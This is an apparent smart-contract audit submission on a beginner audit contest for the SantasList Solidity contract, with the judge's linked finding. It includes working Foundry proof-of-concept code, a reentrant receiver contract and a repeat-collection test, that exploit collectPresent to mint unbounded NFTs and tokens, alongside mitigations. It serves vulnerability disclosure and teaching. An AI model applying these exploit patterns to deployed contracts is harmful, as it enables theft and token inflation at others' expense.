Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy via _safeMint ERC721 receiver callback in collectPresent

Description

  • collectPresent for an EXTRA_NICE caller is supposed to perform two effects atomically: mint a single NFT and mint exactly 1e18 SantaTokens. The function is unprotected by any reentrancy guard.

  • _mintAndIncrement() calls _safeMint, which invokes onERC721Received on the recipient contract before the SantaToken reward is minted and before any anti-replay state is updated. A malicious recipient contract can use this callback window to (a) transfer the just-minted NFT away to drop its own balanceOf back to 0, and (b) re-enter collectPresent recursively. Each recursive frame mints another NFT and queues another i_santaToken.mint(attacker) to run on the unwind. The attacker walks away with N * 1e18 SantaTokens and N NFTs from one EXTRA_NICE approval, in a single transaction.

// src/SantasList.sol
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) revert SantasList__NotChristmasYet();
@> if (balanceOf(msg.sender) > 0) revert SantasList__AlreadyCollected();
...
} else if (
s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE
&& s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE
) {
@> _mintAndIncrement(); // _safeMint → onERC721Received callback
@> i_santaToken.mint(msg.sender); // runs AFTER the external call (CEI violation)
return;
}
}

Risk

Likelihood: Medium — requires the attacker to deploy a contract recipient (instead of an EOA) and be marked EXTRA_NICE on both lists. With F-01 in play, the EXTRA_NICE precondition is trivially obtainable; without F-01 it requires Santa to have approved the attacker.

Impact: High — single-transaction unbounded inflation of SantaToken and NFT supply. The attack is faster, cheaper, and stealthier than the cross-transaction loop variant (F-06) because it never relinquishes execution to a watcher between mints.

Proof of Concept

Add this attacker contract and test to test/SantasListTest.t.sol, then run forge test --mt test_ReentrancyDrainsViaCollectPresent -vvv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import {Test} from "forge-std/Test.sol";
import {SantasList} from "../src/SantasList.sol";
import {SantaToken} from "../src/SantaToken.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ReentrantReceiver is IERC721Receiver {
SantasList immutable list;
address immutable sink;
uint256 public loops;
uint256 public maxLoops;
constructor(SantasList _list, address _sink) {
list = _list;
sink = _sink;
}
function attack(uint256 _maxLoops) external {
maxLoops = _maxLoops;
list.collectPresent(); // first call from attacker contract
}
function onERC721Received(address, address, uint256 tokenId, bytes calldata)
external override returns (bytes4)
{
// Move the freshly-minted NFT off-balance so the next collectPresent passes the balanceOf check.
list.transferFrom(address(this), sink, tokenId);
if (++loops < maxLoops) {
list.collectPresent(); // recursive re-entry inside the callback
}
return IERC721Receiver.onERC721Received.selector;
}
}
contract CollectPresentReentrancyTest is Test {
SantasList santasList;
SantaToken santaToken;
address santa = makeAddr("santa");
address sink = makeAddr("sink");
ReentrantReceiver attacker;
function setUp() public {
vm.prank(santa);
santasList = new SantasList();
santaToken = SantaToken(santasList.getSantaToken());
attacker = new ReentrantReceiver(santasList, sink);
// Santa marks the attacker contract as EXTRA_NICE on both lists.
vm.startPrank(santa);
santasList.checkList(address(attacker), SantasList.Status.EXTRA_NICE);
santasList.checkTwice(address(attacker), SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
}
function test_ReentrancyDrainsViaCollectPresent() public {
uint256 LOOPS = 8;
attacker.attack(LOOPS);
// Attacker contract received SANTA on every recursive unwind: LOOPS * 1e18.
assertEq(santaToken.balanceOf(address(attacker)), LOOPS * 1e18);
// sink holds every NFT minted during the recursion.
assertEq(santasList.balanceOf(sink), LOOPS);
}
}

Expected output:

[PASS] test_ReentrancyDrainsViaCollectPresent() (gas: ~900k)

Recommended Mitigation

Two complementary fixes:

  1. Set the anti-replay flag from F-06 before any external call (CEI), so a re-entered collectPresent reverts immediately:

+ mapping(address => bool) private s_hasCollected;
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) revert SantasList__NotChristmasYet();
- if (balanceOf(msg.sender) > 0) revert SantasList__AlreadyCollected();
+ if (s_hasCollected[msg.sender]) revert SantasList__AlreadyCollected();
+ s_hasCollected[msg.sender] = true; // <-- set BEFORE _safeMint / token mint
...
}
  1. Reorder the EXTRA_NICE branch so the token mint precedes the NFT mint, or wrap the function with OpenZeppelin's ReentrancyGuard.nonReentrant. A direct _mint (non-safe) is also acceptable since the NFT is reflexively minted to msg.sender, but nonReentrant is the more robust safeguard:

+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract SantasList is ERC721, TokenUri {
+ contract SantasList is ERC721, TokenUri, ReentrancyGuard {
...
- function collectPresent() external {
+ function collectPresent() external nonReentrant {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] Any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function multiple times.

## Description `collectPresent` function is callable by any address, but the call will succeed only if the user is registered as `NICE` or `EXTRA_NICE` in SantasList contract. In order to prevent users to collect presents multiple times, the following check is implemented: ``` if (balanceOf(msg.sender) > 0) { revert SantasList__AlreadyCollected(); } ``` Nevertheless, there is an issue with this check. Users could send their newly minted NFTs to another wallet, allowing them to pass that check as `balanceOf(msg.sender)` will be `0` after transferring the NFT. ## Vulnerability Details Let's imagine a scenario where an `EXTRA_NICE` user wants to collect present when it is Christmas time. The user will call `collectPresent` function and will get 1 NFT and `1e18` SantaTokens. This user could now call `safetransferfrom` ERC-721 function in order to send the NFT to another wallet, while keeping SantaTokens on the same wallet (or send them as well, it doesn't matter). After that, it is possible to call `collectPresent` function again as ``balanceOf(msg.sender)` will be `0` again. ## Impact The impact of this vulnerability is HIGH as it allows any `NICE` user to mint as much NFTs as wanted, and it also allows any `EXTRA_NICE` user to mint as much NFTs and SantaTokens as desired. ## Proof of Concept The following tests shows that any `NICE` or `EXTRA_NICE` user is able to call `collectPresent` function again after transferring the newly minted NFT to another wallet. - In the case of `NICE` users, it will be possible to mint an infinity of NFTs, while transferring all of them in another wallet hold by the user. - In the case of `EXTRA_NICE` users, it will be possible to mint an infinity of NFTs and an infinity of SantaTokens. ``` function testExtraNiceCanCollectTwice() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); // User collect present again santasList.collectPresent(); vm.stopPrank(); // Users now owns 2e18 tokens, after calling 2 times collectPresent function successfully assertEq(santaToken.balanceOf(user), 2e18); } ``` ## Recommendations SantasList should implement in its storage a mapping to keep track of addresses which already collected present through `collectPresent` function. We could declare as a state variable : ``` mapping(address user => bool) private hasClaimed; ``` and then modify `collectPresent` function as follows: ``` function collectPresent() external { // use SantasList__AlreadyCollected custom error to save gas require(!hasClaimed[msg.sender], "user already collected present"); if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) { revert SantasList__NotChristmasYet(); } if (s_theListCheckedOnce[msg.sender] == Status.NICE && s_theListCheckedTwice[msg.sender] == Status.NICE) { _mintAndIncrement(); hasClaimed[msg.sender] = true; return; } else if ( s_theListCheckedOnce[msg.sender] == Status.EXTRA_NICE && s_theListCheckedTwice[msg.sender] == Status.EXTRA_NICE ) { _mintAndIncrement(); i_santaToken.mint(msg.sender); hasClaimed[msg.sender] = true; return; } revert SantasList__NotNice(); } ``` We just added a check that `hasClaimed[msg.sender]` is `false` to execute the rest of the function, while removing the check on `balanceOf`. Once present is collected, either for `NICE` or `EXTRA_NICE` people, we update `hasClaimed[msg.sender]` to `true`. This will prevent user to call `collectPresent` function. If you run the previous test with this new implementation, it wail fail with the error `user already collected present`. Here is a new test that checks the new implementation works as desired: ``` function testCorrectCollectPresentImpl() external { vm.startPrank(santa); // Santa checks twice the user as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // It is Christmas time! vm.warp(1_703_480_381); vm.startPrank(user); // User collects 1 NFT + 1e18 SantaToken santasList.collectPresent(); // User sends the minted NFT to another wallet santasList.safeTransferFrom(user, makeAddr("secondWallet"), 0); vm.expectRevert("user already collected present"); santasList.collectPresent(); vm.stopPrank(); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!